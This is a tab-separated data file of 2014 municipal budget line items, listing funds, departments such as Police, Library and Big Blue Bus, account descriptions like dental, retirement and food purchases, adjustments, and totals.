13129	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	563585.0	0	0	0	0	0	0.0	0	0	0	0	0.0	563585.0
13130	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	715966.0	0	0	0	0	0	0.0	0	0	0	0	0.0	715966.0
13131	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	76589.0	0	0	0	0	0	0.0	0	0	0	0	0.0	76589.0
13132	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	221500.0	0	0	0	-2743	3512	0.0	0	0	0	0	0.0	222269.0
13133	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	107045.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107045.0
13134	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	60757.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60757.0
13135	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	19081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19081.0
13136	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	85364.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85364.0
13137	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2014	294269.0	0	0	0	0	4302	0.0	0	0	0	0	0.0	298571.0
13138	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	23949.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23949.0
13139	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	2773.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2773.0
13140	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2014	5400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5400.0
13141	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511748.0	DENTAL	806.0	Salaries and Wages	2014	15504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15504.0
13142	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2014	2874.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2874.0
13143	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	2846.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2846.0
13144	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2014	14416.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14416.0
13145	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511748.0	DENTAL	804.0	Salaries and Wages	2014	47407.0	0	0	0	900	0	0.0	0	0	0	0	0.0	48307.0
13146	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511748.0	DENTAL	816.0	Salaries and Wages	2014	3651.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3651.0
13147	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511749.0	VISION	816.0	Salaries and Wages	2014	417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	417.0
13148	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	-14.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14.0
13149	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511749.0	VISION	812.0	Salaries and Wages	2014	1459.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1459.0
13150	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	24489.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24489.0
13151	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511749.0	VISION	812.0	Salaries and Wages	2014	3048.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3048.0
13152	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2014	31533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31533.0
13153	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2014	10978.0	0	0	0	0	0	162.5	0	0	0	0	0.0	11140.5
13154	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511749.0	VISION	840.0	Salaries and Wages	2014	3021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3021.0
13155	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511748.0	DENTAL	808.0	Salaries and Wages	2014	3464.0	0	0	0	0	0	375.0	0	0	0	0	0.0	3839.0
13156	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	15566.0	0	0	0	0	0	708.0	0	0	0	0	0.0	16274.0
13157	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	640167.0	0	0	0	0	0	4167.0	0	0	0	0	0.0	644334.0
13158	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10406.0	0	0	0	0	38	105.0	0	0	0	0	0.0	10549.0
13159	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3762.0	0	0	0	0	31	0.0	0	0	0	0	0.0	3793.0
13160	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EAP	804.0	Salaries and Wages	2014	522.0	0	0	0	0	0	0.0	0	0	0	0	0.0	522.0
13161	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2014	996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	996.0
13162	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	8220.0	0	0	0	-110	119	0.0	0	0	0	0	0.0	8229.0
13163	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DCAP	804.0	Salaries and Wages	2014	3000.0	0	0	0	60	0	0.0	0	0	0	0	0.0	3060.0
13164	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EAP	810.0	Salaries and Wages	2014	826.0	0	0	0	0	0	0.0	0	0	0	0	0.0	826.0
13165	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	0.0	0	0	0	0	252	0.0	0	0	0	0	0.0	252.0
13166	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	3002.0	0	0	0	0	292	0.0	0	0	0	0	0.0	3294.0
13167	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	822.0	0	0	0	0	0	0.0	0	0	0	0	0.0	822.0
13168	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1345.0
13169	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2213.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2213.0
13170	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	1144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1144.0
13171	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	3394.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3394.0
13172	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		UNEMPLOYMENT	816.0	Salaries and Wages	2014	3283.0	0	0	0	0	36	0.0	0	0	0	0	0.0	3319.0
13173	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DCAP	816.0	Salaries and Wages	2014	420.0	0	0	0	0	0	0.0	0	0	0	0	0.0	420.0
13174	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EAP	816.0	Salaries and Wages	2014	618.0	0	0	0	0	0	0.0	0	0	0	0	0.0	618.0
13175	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	6001.0	0	0	0	0	38	0.0	0	0	0	0	0.0	6039.0
13176	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	7863.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7863.0
13177	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	8649.0	0	0	0	0	112	0.0	0	0	0	0	0.0	8761.0
13178	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	4918.0	0	0	0	0	68	0.0	0	0	0	0	0.0	4986.0
13179	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		UNEMPLOYMENT	806.0	Salaries and Wages	2014	72760.0	0	0	0	3141	1414	-105.0	0	0	0	0	0.0	77210.0
13180	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	11820.0	0	0	0	0	0	79.0	0	0	0	0	0.0	11899.0
13181	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	28104.0	0	0	0	0	375	256.15	0	0	0	0	0.0	28735.15
13182	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	1188.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1188.0
13183	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	4584.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4584.0
13184	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2014	21504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21504.0
13185	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	880.0
13186	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	3932.0	0	0	0	0	51	0.0	0	0	0	0	0.0	3983.0
13187	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	78137.0	0	0	0	0	0	0.0	0	0	0	0	0.0	78137.0
13188	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2014	40283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40283.0
13189	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	599037.0	599037.0
13190	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	170442.0	0	0	0	0	1973	0.0	0	0	0	0	0.0	172415.0
13191	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	515.0	0	0	0	0	0	0.0	0	0	0	0	0.0	515.0
13192	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	2246.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2246.0
13193	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	73308.0	0	0	0	0	1269	425.0	0	0	0	0	0.0	75002.0
13194	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	6938.0	0	0	0	0	101	0.0	0	0	0	0	0.0	7039.0
13195	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	45151.0	0	0	0	0	689	0.0	0	0	0	0	0.0	45840.0
13196	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	16641.0	0	0	0	0	205	0.0	0	0	0	0	0.0	16846.0
13197	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5996.0
13198	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1982.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1982.0
13199	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	3387.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3387.0
13200	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	417.0
13201	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2329.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2329.0
13202	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	2550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2550.0
13203	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	2176.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2176.0
13204	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2014	8136.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8136.0
13205	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		UNEMPLOYMENT	804.0	Salaries and Wages	2014	2278.0	0	0	0	0	19	0.0	0	0	0	0	0.0	2297.0
13206	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EAP	804.0	Salaries and Wages	2014	418.0	0	0	0	0	0	0.0	0	0	0	0	0.0	418.0
13207	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	205871.0	0	0	0	0	0	4167.0	-16632	0	0	0	0.0	193406.0
13208	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EAP	804.0	Salaries and Wages	2014	1148.0	0	0	0	0	0	42.0	-104	0	0	0	0.0	1086.0
13209	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	2300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2300.0
13210	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511749.0	VISION	804.0	Salaries and Wages	2014	1518.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1518.0
13211	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EAP	804.0	Salaries and Wages	2014	1144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1144.0
13212	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DCAP	804.0	Salaries and Wages	2014	780.0	0	0	0	0	0	0.0	0	0	0	0	0.0	780.0
13213	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0	0	0	0	18.0	0	0	0	0	0.0	18.0
13214	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407509.0	CAPITAL GR-MOSIP	657.0	Capital Grants	2014	-1182000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1182000.0
13215	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	14894.0	0	0	0	0	165	0.0	0	0	0	0	0.0	15059.0
13216	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3338.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3338.0
13217	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566570.0	PERSONNEL EXAM EXPENSES	804.0	 Supplies and Expenses	2014	67000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	67000.0
13218	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	434605.0	0	0	0	0	3459	-21.0	0	0	0	0	0.0	438043.0
13219	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1574.0	0	0	0	0	0	21.0	0	0	0	0	0.0	1595.0
13220	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	4728.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4728.0
13221	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	2800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2800.0
13222	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511810.0	TUITION REIMBURSEMENT	804.0	Salaries and Wages	2014	56900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	56900.0
13223	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	4843.0	0	0	0	0	56	-11.66	0	0	0	0	0.0	4887.34
13224	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	143000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	143000.0
13225	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTEWATER	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-67000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-67000.0
13226	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	770.67	770.67
13227	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	13632.43	13632.43
13228	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2014	0.0	0	0	0	0	315000	0.0	0	0	0	0	0.0	315000.0
13229	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2014	-17690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17690.0
13230	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	5291.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5291.0
13231	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	32687.0	0	0	0	0	400	0.0	0	0	0	0	0.0	33087.0
13232	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511748.0	DENTAL	816.0	Salaries and Wages	2014	21906.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21906.0
13233	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	7443.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7443.0
13234	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402140.0	AIRPORT - TIE DOWN CHARGES	650.0	Charges for Service	2014	-133900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-133900.0
13235	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	53330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53330.0
13236	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DCAP		Salaries and Wages	2014	492.0	0	0	0	0	0	0.0	0	0	0	0	0.0	492.0
13237	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	4182.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4182.0
13238	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577190.0	REPAYMENT OF LOAN		 Supplies and Expenses	2014	500000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500000.0
13239	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588500.0	MISCELLANEOUS EQUIPMENT		 Supplies and Expenses	2014	19885.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19885.0
13240	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1432743.0	0	0	0	-106127	21656	4521.0	0	0	0	0	0.0	1352793.0
13241	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	8119.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8119.0
13242	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	26033.0	0	0	0	-2028	0	0.0	0	0	0	0	0.0	24005.0
13243	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2014	1563.0	0	0	0	-122	0	0.0	0	0	0	0	0.0	1441.0
13244	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	4151.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4151.0
13245	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
13246	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	818050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	818050.0
13247	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	-1391.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1391.0
13248	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	8453.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8453.0
13249	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	21166.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21166.0
13250	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
13251	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	26500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26500.0
13252	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
13253	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
13254	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	1568.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1568.0
13255	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	129.0
13256	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	2666.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2666.0
